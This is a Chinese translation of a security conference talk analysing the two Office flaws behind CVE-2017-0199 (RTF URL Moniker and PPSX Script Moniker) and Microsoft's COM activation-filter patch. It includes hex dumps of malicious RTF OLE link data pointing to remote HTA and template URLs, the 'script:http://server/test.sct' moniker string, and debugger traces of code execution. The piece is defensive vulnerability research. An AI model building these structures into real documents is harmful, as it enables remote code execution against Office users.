[翻译]Moniker魔法:直接在Microsoft Office中运行脚本
Moniker魔法:直接在Microsoft Office中运行脚本
翻译 by 银雁冰
原文https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/Moniker_Magic_final.pdf
译者注:
这篇paper为Haifei Li(Halifei_Li@Macfee.com)和Bing Sun(Bing_Sun@Macfee.com)在Syscan360 2017西雅图安全会议上的演讲。2015年,两位研究员在BlackHat2015上演讲的《Attacking Interoperability:An OLE Edition》已经成为office漏洞领域的经典paper。在那次演讲中,作者侧重讨论了OLE(对象链接与嵌入)机制中的“嵌入”所相关的安全问题,本文则侧重另一个方向,即“链接”。两篇paper可以说是相互补充的。同时,这篇paper深入探讨了2017年4月出现的经典漏洞 CVE-2017-0199背后的原理,想要深入理解CVE-2017-0199原理的小伙伴请不要错过这篇文章。
相关译文http://bbs.pediy.com/thread-218941.htm
议题
?span style="font-size:9px; line-height:14px; font-family:none;"> 背景
?span style="font-size:9px; line-height:14px; font-family:none;"> 理解“RTF URL Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 理解“PPSX Script Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 分析微软补丁
?span style="font-size:9px; line-height:14px; font-family:none;"> 结论
背景
?span style="font-size:9px; line-height:14px; font-family:none;"> 在同一个CVE-2017-0199的公告下其实含有两个漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
?span style="font-size:9px; line-height:14px; font-family:none;"> 让我们将其中一个称为“RTF URL Moniker”漏洞,并且将另一个称为“PPSX Script Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 微软把对这两个漏洞的修复放在了同一个CVE里
?span style="font-size:9px; line-height:14px; font-family:none;"> 在2016年10月,@ryHansom向微软报告了“RTF URL Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 在2017年1月20号,Haifei向微软报告了“PPSX Script Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 在2017年4月7号,我们在Macfee的团队发现了野外的一个0day攻击并且向大众发出了警报
?span style="font-size:9px; line-height:14px; font-family:none;"> 这次0day攻击至少开始于2017年1月下旬,我们的样本是在VitusTotal上发现的
?span style="font-size:9px; line-height:14px; font-family:none;"> 2017年4月11号,微软在CVE-2017-0199里面修复了“RTF URL Moniker”漏洞和“PPSX Script Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们后来得到确认,被用在0day攻击里的漏洞正是@ryHansom发现的“RTF URL Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 之前,我们本打算只讲“PPSX Script Moniker”漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> 事实上,当我们在3月份提交我们的SYSCAN360 参会议题时,我们不知道还有另一个相关的漏洞(“RTF URL Moniker”)吸引了更多的公众注意力(作为一个0day)
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们对这两个漏洞和微软的补丁都做了深入的研究/分析
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们将要分享所有我们的发现
理解 “RTF URL Moniker”漏洞
理解 “RTF URL Moniker”漏洞——文件格式层面
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个漏洞与RTF里面的OLE对象序列化有关
?span style="font-size:9px; line-height:14px; font-family:none;"> 控制字 “\object”
?span style="font-size:9px; line-height:14px; font-family:none;"> “Object data”被 “\objdata”控制字定义
?span style="font-size:9px; line-height:14px; font-family:none;"> “\objautlink”定义了对象类型*
[图片:628056_4k45p91rm7prz7k.png]
*注意:根据我们的测试,这个漏洞的关键点是对象被定义为一个OLE“链接”对象(看后面),“objautlink”并不是必须的,相同的漏洞触发过程也可能通过使用另外的OLE相关控制字在另外的RTF场景中被触发
检视 “Object Data”对象
?span style="font-size:9px; line-height:14px; font-family:none;"> 让我们检视一下“Object Data”(从“\objdata”控制字开始)
?span style="font-size:9px; line-height:14px; font-family:none;"> 头部
01 05 00 00 // Version
02 00 00 00
09 00 00 00
4f 4c 45 32 4c 69 6e 6b 00 //“OLE2Link”, could be anything
00 00 00 00
00 00 00 00
00 0a 00 00 // Data Length
d0cf11e0a1b11ae1000000000000000000000000000000003e..
..
?span style="font-size:9px; line-height:14px; font-family:none;"> “d0cf11e0”指明这是一个OLE结构的流,因此,我们可以将其dump为二进制并且用OLESS工具打开
检视OLESS Data
[图片:628056_ldkaze2bmiuh6o6.png]
[图片:628056_7kwcf4ytzdsk9ha.png]

?span style="font-size:9px; line-height:14px; font-family:none;"> 关键点:StdOleLink
它定义了这是一个“链接”对象,而不是“嵌入”
检视“\x01Ole”流
[图片:628056_b9n0rnmz2ssis69.png] 
?span style="font-size:9px; line-height:14px; font-family:none;"> [MS-OLEDS]格式规范:2.3.3节
?span style="font-size:9px; line-height:14px; font-family:none;"> 让我们来一个一个检查这些字节
01 00 00 02 // Version,必须为0x20000001
09 00 00 00 // Flags
值 | 含义 |
0x00000001 | OLE流结构必须是一个链接对象. |
0x00000000 | OLE流结构必须是一个嵌入对象. |
0x00001000 | 这一位被设定为由应用程序或创建数据结构的更高级别协议提供的具体实现提示.在处理这个数据结构时这一位可能被忽略,一个不忽略该位的服务器实现可能在该位被设定时缓存storage. |
01 00 00 00 // LinkUpdateOption
00 00 00 00 // Reserve1
00 00 00 00 // ReserveMonikerStreamSize
00 00 00 00 // RelativeSourceMonikerStreamSize
5C 01 00 00 // AbsoluteSourceMonikerStreamSize
?span style="font-size:9px; line-height:14px; font-family:none;"> 注意AbsoluteSourceMonikerStreamSize不为0,它指明了接下来的数据的大小:AbsoluteSourceMonikerStream
?span style="font-size:9px; line-height:14px; font-family:none;"> 从格式规范中我们可以看到:
[图片:628056_etenwnso9kz4nmf.png]
Moniker扫盲
?span style="font-size:9px; line-height:14px; font-family:none;"> “Moniker(有时因为其智能名称为人所知)是一个在整个系统中标准且可扩展的命名和连接对象的方式。简单来说,一个Moniker就是一个定义另外一个对象的对象。”
-《Inside COM+: Base Services》-
?span style="font-size:9px; line-height:14px; font-family:none;"> Moniker是一个特殊的COM,它允许你找到另一个COM
?span style="font-size:9px; line-height:14px; font-family:none;"> 通过提供IMoniker接口
?span style="font-size:9px; line-height:14px; font-family:none;"> Windows操作系统上只有几个Monikers
?span style="font-size:9px; line-height:14px; font-family:none;"> File Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> Item Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> URL Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> “Script”Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> …
什么是MONIKERSTREAM?
[图片:628056_l988kuh006sgxuy.png]
?span style="font-size:9px; line-height:14px; font-family:none;"> 典型的COM对象的定义
?span style="font-size:9px; line-height:14px; font-family:none;"> “Clsid”指定了它是哪一个Moniker对象
?span style="font-size:9px; line-height:14px; font-family:none;"> “StreamData”被用来对象的初始化
MONIKERSTREAM
E0 C9 EA 79 F9 BA CE 11 8C 82 00 AA 00 4B A9 0B
44 01 00 00 68 00 74 00 74 00 70 00 3A 00 2F 00
2F 00 31 00 39 00 32 00 2E 00 31 00 36 00 38 00
2E 00 31 00 2E 00 36 00 36 00 2F 00 74 00 74 00
31 00 2F 00 74 00 65 00 6D 00 70 00 6C 00 61 00
74 00 65 00 2E 00 68 00 74 00 61 00 00 00 00 00
?span style="font-size:9px; line-height:14px; font-family:none;"> CLSID = 79eac9e0-baf9-11ce-8c82-00aa004ba90b
[图片:628056_552j33eio45qcyc.png]
?span style="font-size:9px; line-height:14px; font-family:none;"> 接下来的数据(“StreamData”)的格式是怎样的?微软的格式规范并没有告诉我们
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们自己来弄明白
Moniker对象初始化
?span style="font-size:9px; line-height:14px; font-family:none;"> 在一番调试后,我们搞清StreamData事实上是Moniker对象用来给“IPersisteStream”使用的流
?span style="font-size:9px; line-height:14px; font-family:none;"> URL Moniker开放了IPersisteStream接口
?span style="font-size:9px; line-height:14px; font-family:none;"> 通过IPersisteStream::Load()方法加载“StreamData”
?span style="font-size:9px; line-height:14px; font-family:none;"> 因此,不同的Moniker对象也许有不同的StreamData格式,这完全取决于Moniker对象的实现
?span style="font-size:9px; line-height:14px; font-family:none;"> URL Moniker的StreamData格式
44 01 00 00 // URL的最大长度,以NULL结尾
68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00
“http://95.141.38.110/mo/dnr/tmp/template.doc”
“运行”URL Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> 诸如OLE StdOleLink这样一个结构会导致URL Moniker对象被运行
?span style="font-size:9px; line-height:14px; font-family:none;"> 调用“IMoniker::BindToObject()”方法,这使得进程去寻找目标对象并将其放入运行中状态

https://msdn.microsoft.com/en-us/library/windows/desktop/ms691433(v=vs.85).aspx
找到&运行OLE服务器
?span style="font-size:9px; line-height:14px; font-family:none;"> URL Moniker有它寻找目标对象的特殊方式
?span style="font-size:9px; line-height:14px; font-family:none;"> 如果URL 字符串以“http”开始,首先,URL Moniker尝试去从服务器下载资源(到IE缓存)
?span style="font-size:9px; line-height:14px; font-family:none;"> 基于资源的多个属性,一个OLE服务器被选中
?span style="font-size:9px; line-height:14px; font-family:none;"> “Content-Type”的值
?span style="font-size:9px; line-height:14px; font-family:none;"> 扩展名
?span style="font-size:9px; line-height:14px; font-family:none;"> 通过OLE API “GetClassFile()”
?span style="font-size:9px; line-height:14px; font-family:none;"> 最终,被选中的对象运行以处理资源
当“资源”是一个HTA文件
?span style="font-size:9px; line-height:14px; font-family:none;"> CLSID: 3050f4d8-98b5-11cf-bb82-00aa00bdce0b
[图片:628056_pqk0rh9w4kltk12.png] 
?span style="font-size:9px; line-height:14px; font-family:none;"> HTA文件被COM/OLE服务器“mshta.exe”加载并且运行
?span style="font-size:9px; line-height:14px; font-family:none;"> HTA内容已经被知道是有害的
?span style="font-size:9px; line-height:14px; font-family:none;"> 如果脚本(JS,VBS)在HTA文件中被发现,它们就会被执行
?span style="font-size:9px; line-height:14px; font-family:none;"> 这本质上是一个可导致远程代码执行的设计/逻辑缺陷
DEMO

0:000> r
urlmon!CoCreateInstanceForObjectBinding+0x4a:
76a0af8e call dword ptr [urlmon!_imp CoCreateInstance]
0:000> db poi(esp) L10
001b8b48 d8 f4 50 30 b5 98 cf 11-bb 82 00 aa 00 bd ce 0b
0:000> k
001b8a5c 769e0bf4 urlmon!CoCreateInstanceForObjectBinding+0x4a 001b8ad0 769de9bd urlmon!CBinding::InstantiateObject+0x217 001b8bc4 7698d3b7 urlmon!CBinding::OnObjectAvailable+0x20b
……
001b8e48 7699b684 urlmon!CTransaction::CompleteOperation+0x9d
001b92f0 769e1411 urlmon!CTransaction::StartEx+0x14a6
001b9374 7698db9c urlmon!CBinding::StartBinding+0x921
001b93c0 769beeb6 urlmon!CUrlMon::StartBinding+0x1a6
001b9410 75503d1d urlmon!CUrlMon::BindToObject+0xc9
001b947c 7554f941 ole32!CDefLink::BindToSource+0x14e
001b9494 754d7c14 ole32!CDefLink::Run+0x36
001b94a8 57c06443 ole32!OleRun+0x3b
WARNING: Stack unwind information not available. Following frames may be wrong.
001b94d8 57b93c62 wwlib!DllGetLCID+0x4bffbd
对根本原因的总结
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个漏洞源自URL Moniker通过OLE执行危险的HTA
?span style="font-size:9px; line-height:14px; font-family:none;"> URL Moniker无法直接运行脚本,但是它可以找到一个OLE对象并使用这个对象来处内容
?span style="font-size:9px; line-height:14px; font-family:none;"> 当内容为HTA内容时, “htafile” OLE对象被启动,HTA内容里的脚本得到运行
?span style="font-size:9px; line-height:14px; font-family:none;"> 从文件格式的角度来看,OLE StdOleLink结构在无需用户交互下触发了整个过程
[图片:628056_58abs8omtxx8w1x.png]
理解“PPSX Script Moniker”漏洞
理解“PPSX Script Moniker”漏洞——一些背景
?span style="font-size:9px; line-height:14px; font-family:none;"> 在关于如何发现这个漏洞上有一个有趣的背景故事
?span style="font-size:9px; line-height:14px; font-family:none;"> 去年11月,我们在雷德蒙的微软蓝帽大会和北京的腾讯安全大会上做了我们研究题目为“Analysis of the Attack Surface of Microsoft Office from a User’s Perspective”的演讲
?span style="font-size:9px; line-height:14px; font-family:none;"> 在北京,我们讨论了我们发现的一个有趣的漏洞
?span style="font-size:9px; line-height:14px; font-family:none;"> CVE-ID: CVE-2016-7245
?span style="font-size:9px; line-height:14px; font-family:none;"> Office可以通过“LoadTypeLib()”API加载远程,被攻击者控制的TypeLib,例如通过\\attacker_server\test.tlb
?span style="font-size:9px; line-height:14px; font-family:none;"> 加载攻击者控制的TypeLib被知道是不安全的。例如,EIP很容易被控制为0x41414141
?span style="font-size:9px; line-height:14px; font-family:none;"> 在https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_from_User_Perspective_final.pdf 的50-61页
?span style="font-size:9px; line-height:14px; font-family:none;"> 谷歌Project Zero的James Forshaw提到过一个有趣的技巧
?span style="font-size:9px; line-height:14px; font-family:none;"> 对于我们的漏洞,如果我们给 “LoadTypeLib()”API提供一个moniker字符串,我们也许可以直接获得远程代码执行(不仅仅是提供解析TypeLib结构控制EIP)
?span style="font-size:9px; line-height:14px; font-family:none;"> “script:http://server/test.sct”
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个技巧事实上在MSDN为这个API 的说明里描述过,但是鲜为人知
?span style="font-size:9px; line-height:14px; font-family:none;"> 不幸的是,由于Office VBA引擎在调用“LoadTypeLib()”前的额外检查代码,我们最终确认这个技巧不能被用来利用CVE-2016-7245,但我们从James的工作中学到了许多
?span style="font-size:9px; line-height:14px; font-family:none;"> 在活动结束后,Haifei进一步研究了“moniker”领域,尤其在Office方面
?span style="font-size:9px; line-height:14px; font-family:none;"> 有一天晚上,当Haifei检查沙虫漏洞利用样本(一个.pptx文件)的“关系文件”(.xml.rels)时
[图片:628056_2ndrmlwgrm4ad1n.png]
?span style="font-size:9px; line-height:14px; font-family:none;"> 他想到:如果将James的技巧用在这里呢?
.sct文件
神奇的事情发生了
理解“PPSX Script Moniker”漏洞——文件格式层面
?span style="font-size:9px; line-height:14px; font-family:none;"> “rId1”是一个被我们的” 魔术字符串”定义的OLE对象
?span style="font-size:9px; line-height:14px; font-family:none;"> “rId1”被定义为一个“link”对象并且与尝试去执行OLE“Verb”动作的动画特性相关联
解析Moniker字符串
?span style="font-size:9px; line-height:14px; font-family:none;"> “MkParseDisplayName()”被调用以将“魔术字符串”转换成一个Moniker对象
object
0:000> r
……
ole32!MkParseDisplayName:
772ece79 8bff mov edi,edi
0:000> du poi(esp+4*2)
0030ccc4 “script:http://server/test.sct”
?span style="font-size:9px; line-height:14px; font-family:none;"> 事实上,在这里,第一个“:”之前的字符串是重要的
?span style="font-size:9px; line-height:14px; font-family:none;"> script:http://server/test.sct
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个过程有效小复杂,更多细节请阅读:
?span style="font-size:9px; line-height:14px; font-family:none;"> https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx
什么是“script”Moniker

?span style="font-size:9px; line-height:14px; font-family:none;"> CLSID:06290BD3-48AA-11D2-8432-006008C3FBFC
?span style="font-size:9px; line-height:14px; font-family:none;"> 这是给Windows脚本组件所用的moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> 如果你意识到了“脚本/小脚本”, “无需文件”的恶意代码..(@subtree & 其他人的工作)
?span style="font-size:9px; line-height:14px; font-family:none;"> https://github.com/subtee
激活Moniker
?span style="font-size:9px; line-height:14px; font-family:none;"> 然而,初始化“script” moniker事实上并不会让你“运行”内部的脚本
?span style="font-size:9px; line-height:14px; font-family:none;"> 你仍然需要去“绑定”(“激活”)这个对象
?span style="font-size:9px; line-height:14px; font-family:none;"> 一个简单的实验可以证明该点
?span style="font-size:9px; line-height:14px; font-family:none;"> 用“script:http://server/test.sct”作为参数调用MkParseDisplayName()并不会让你的代码得到执行(只有scrobj.dll这个moniker dll会被加载)
?span style="font-size:9px; line-height:14px; font-family:none;"> 但是在初始化对象时调用BindToObject()会给你带来一切
?span style="font-size:9px; line-height:14px; font-family:none;"> 这样一个“verb”动作执行尝试通过PowerPoint放映的“动画”特性去激活相关联的对象
?span style="font-size:9px; line-height:14px; font-family:none;"> IMoniker::BindToObject()被调用
?span style="font-size:9px; line-height:14px; font-family:none;"> 不像“RTF URL Moniker”漏洞,被利用的进程起始于OLE API OleCreateLink(),而不是OleRun()
0:000> r
kernel32!CreateProcessW:
0:000> du poi(esp+4*2)
001d1734 "calc.exe"
0:000> k
ChildEBP RetAddr
00307b88 6632d248 kernel32!CreateProcessW
00307c10 6632d54a wshom!CWshShell::CreateShortcut+0x161
..
00307dc0 632e505b jscript!IDispatchInvoke2+0x8d
..
00308670 66364545 scrobj!ComScriptletFactory::CreateScriptlet+0x1b
00308690 757ec6cd scrobj!ComScriptletMoniker::BindToObject+0x4d
003086bc 758a44d4 ole32!BindMoniker+0x64
00308744 758e5c94 ole32!wCreateLinkEx+0x9f
003087a4 758e61c4 ole32!OleCreateLinkEx+0xaa
003087e0 651b1d54 ole32!OleCreateLink+0x42
WARNING: Stack unwind information not available. Following frames may be wrong.
0030b980 651b43cc ppcore!DllGetLCID+0x5cc232
0030ca34 64d84cd2 ppcore!DllGetLCID+0x5ce8aa
对根本原因的总结
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个漏洞是由于monikers可以通过一个PowerPoint放映文件来初始化和激活这一事实
?span style="font-size:9px; line-height:14px; font-family:none;"> 关键点在这里,在PowerPoint的动画特性中尝试去执行“verb”动作时激活了对象,这最终调用了moniker上的“BindToObject()”
?span style="font-size:9px; line-height:14px; font-family:none;"> Windows 脚本组件(“script” Moniker)被设计用来发现和运行脚本
?span style="font-size:9px; line-height:14px; font-family:none;"> 无需来自另外OLE对象的帮助
微软是如何修复这些漏洞的?
?span style="font-size:9px; line-height:14px; font-family:none;"> 正如我们前面提及的那样,“RTF URL Moniker”漏洞和“PPSX Script Moniker”漏洞都被分配在CVE-2017-0199。并且在2017年4月的安全更新中被修复
?span style="font-size:9px; line-height:14px; font-family:none;"> 但是,微软的补丁是如何修复它们的?
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们相当好奇。因此,我们对补丁做了一些逆向工程
?span style="font-size:9px; line-height:14px; font-family:none;"> 事实上,我们对结果感到有些惊讶
COM激活过滤器
?span style="font-size:9px; line-height:14px; font-family:none;"> 微软4月的补丁介绍/适配*了一个我们叫做“COM激活过滤器”的机制
?span style="font-size:9px; line-height:14px; font-family:none;"> 这是一个系统层面的改变(Windows7上在ole32.dll里),任何应用程序都适用
?span style="font-size:9px; line-height:14px; font-family:none;"> 这是一个“回调”风格的机制
?span style="font-size:9px; line-height:14px; font-family:none;"> 一个应用程序在初始化时设立这个“回调”机制
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个“回调”例程(由应用程序所提供)将会在任何COM对象后续的实例中被调用
?span style="font-size:9px; line-height:14px; font-family:none;"> 这允许任何应用程序在运行时去控制哪个COM对象被禁止
*注意:我们研究的补丁位于Windows 7 + Office 2010环境。在Windows 8/8.1/10上,这项机制已经存在相当长的时间了,或许从Windows 8发布之时就有了
?span style="font-size:9px; line-height:14px; font-family:none;"> 详细地讲,引入下面的新函数
?span style="font-size:9px; line-height:14px; font-family:none;"> CoRegisterActivationFilter() // 用以注册过滤器的导出函数
?span style="font-size:9px; line-height:14px; font-family:none;"> FilterActivation() // 调用所提供的“回调”例程的内部函数
?span style="font-size:9px; line-height:14px; font-family:none;"> 微软在下列的内部函数里面增加了代码,在它们做真正的工作之前调用FilterActivation()
?span style="font-size:9px; line-height:14px; font-family:none;"> ICoGetClassObject()
?span style="font-size:9px; line-height:14px; font-family:none;"> ICoCreateInstanceEx()
?span style="font-size:9px; line-height:14px; font-family:none;"> GetInstanceHelper()
?span style="font-size:9px; line-height:14px; font-family:none;"> 既然“COM创建”APIs(例如,CoCreateInstance, CoGetClassObject)事实上调用了其中一个上述函数,程序执行流最终会调用“回调”例程
IActivationFilter
?span style="font-size:9px; line-height:14px; font-family:none;"> CoRegisterActivationFilter()函数在MSDN上有描述

?span style="font-size:9px; line-height:14px; font-family:none;"> 注意:这个函数的参数并不是一个函数真正,而是一个接口指针
?span style="font-size:9px; line-height:14px; font-family:none;"> IActivationFilter接口的定义可以在Windows SDK中被找到(combaseapi.h)
[图片:628056_2ybio3n3cnjyerj.png]
?span style="font-size:9px; line-height:14px; font-family:none;"> 它使用一个全局变量来存储接口指针
[图片:628056_tigol22cet6aq9y.png]
Office在MSO.DLL中采用了“过滤器”
?span style="font-size:9px; line-height:14px; font-family:none;"> MSO.DLL!2711函数调用了CoRegisterActivationFilter()来设定过滤器
?span style="font-size:9px; line-height:14px; font-family:none;"> 回调例程(IActivationFilter::HandleActivation())也位于MSO.DLL
?span style="font-size:9px; line-height:14px; font-family:none;"> “回调例程”检查是否被初始化的CLSID是两个黑名单里面的其中一个
?span style="font-size:9px; line-height:14px; font-family:none;"> 如果是,直接返回“访问违例”(0x80070005)错误
MSO.DLL_2711函数调用CoRegisterActivationFilter
IActivationFilter“回调”例程
它禁用了两个COM对象!
?span style="font-size:9px; line-height:14px; font-family:none;"> 两个被禁用的CLSIDs
?span style="font-size:9px; line-height:14px; font-family:none;"> {3050F4D8-98B5-11CF-BB82-00AA00BDCE0B}
?span style="font-size:9px; line-height:14px; font-family:none;"> 在“RTF URL Moniker”漏洞中使用的“htafile”OLE对象!
?span style="font-size:9px; line-height:14px; font-family:none;"> {06290BD3-48AA-11D2-8432-006008C3FBFC}
?span style="font-size:9px; line-height:14px; font-family:none;"> 在“PPSX Script Moniker”漏洞中使用的“script” Moniker对象!
?span style="font-size:9px; line-height:14px; font-family:none;"> “htafile” OLE对象和“script” Moniker对象都不会在任何Office进程中被创建了
?span style="font-size:9px; line-height:14px; font-family:none;"> 既然MSO.DLL是一个任何Office应用程序共享的核心dll,这是一个Office范围的“COM killbit”补丁,而不仅仅是为Word/PowerPoint
第二点思考
?span style="font-size:9px; line-height:14px; font-family:none;"> 这个补丁并没有杀死这两个对象
?span style="font-size:9px; line-height:14px; font-family:none;"> 这是一个通用的机制和一处轻量级的修改
?span style="font-size:9px; line-height:14px; font-family:none;"> 毋庸置疑,这并没有停止(另外潜在的)远程代码攻击
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们担心被另外不安全的COM对象引入的潜在危险
?span style="font-size:9px; line-height:14px; font-family:none;"> RTF OLE“StdOleLink”特性仍然可以运行moniker/COM对象(除了黑名单列表里的那两个)
?span style="font-size:9px; line-height:14px; font-family:none;"> PPSX“动画”特性仍然可以运行moniker/COM对象(除了黑名单列表里的那两个)
?span style="font-size:9px; line-height:14px; font-family:none;"> 这是一个开放领域
?span style="font-size:9px; line-height:14px; font-family:none;"> 当用户安装第三方应用程序的时候,不安全的COM对象也许会被引入
结论
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们讨论了这两个有趣漏洞的根本原因
?span style="font-size:9px; line-height:14px; font-family:none;"> 它们都与Office能“运行”moniker对象的能力相关;然而,这样的特性由两个不同的Office特性所提供
?span style="font-size:9px; line-height:14px; font-family:none;"> RTF OLE “StdOleLink”
?span style="font-size:9px; line-height:14px; font-family:none;"> PPSX有“verb”动作的动画
?span style="font-size:9px; line-height:14px; font-family:none;"> 第一个特性的代码通过URL Moniker提供的HTA内容(“htafile” OLE文件对象)来完成,第二个特性的代码通过“script” Moniker直接执行
?span style="font-size:9px; line-height:14px; font-family:none;"> 微软使用了一种通用机制来修复这两个逻辑漏洞,尽管我们仍担心潜在的风险
?span style="font-size:9px; line-height:14px; font-family:none;"> 我们建议安全人员持续关注Office中的COM
参考文献
[1] Microsoft, “Security Advisory CVE-2017-0199” [Online] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
[2] McAfee, “Critical Office Zero-Day Attacks Detected in the Wild” [Online] https://securingtomorrow.mcafee.com/mcafee-labs/critical-office-zero-day-attacks-detected-wild
[3] Microsoft, “Rich Text Format (RTF) Specification”, [Online]
https://www.microsoft.com/en-ca/download/details.aspx?id=10725
[4] Microsoft, “[MS-OLEDS]: Object Linking and Embedding (OLE) Data Structures”, [Online] https://msdn.microsoft.com/en-us/library/dd942265.aspx
[5] Guy Eddon and Henry Eddon, “Inside COM+: Base Services” [Book] [6] Microsoft, “IMoniker interface” [Online]
https://msdn.microsoft.com/en-us/library/windows/desktop/ms679705(v=vs.85).aspx
[7] Microsoft, “IMoniker::BindToObject method” [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/ms691433(v=vs.85).aspx
[8] Haifei Li, “Analysis of the Attack Surface of Microsoft Office from a User's Perspective” [Online] https://sites.google.com/site/zerodayresearch/Analysis_of_the_Attack_Surface_of_Microsoft_Office_fro m_User_Perspective_final.pdf
[9] Microsoft, “LoadTypeLib function” [Online]
https://msdn.microsoft.com/en-us/library/windows/desktop/ms221027(v=vs.85).aspx
[10] Microsoft, “MkParseDisplayName function” [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/ms691253(v=vs.85).aspx
[11] Microsoft, “CoRegisterActivationFilter function” [Online] https://msdn.microsoft.com/en-us/library/windows/desktop/mt796494(v=vs.85).aspx
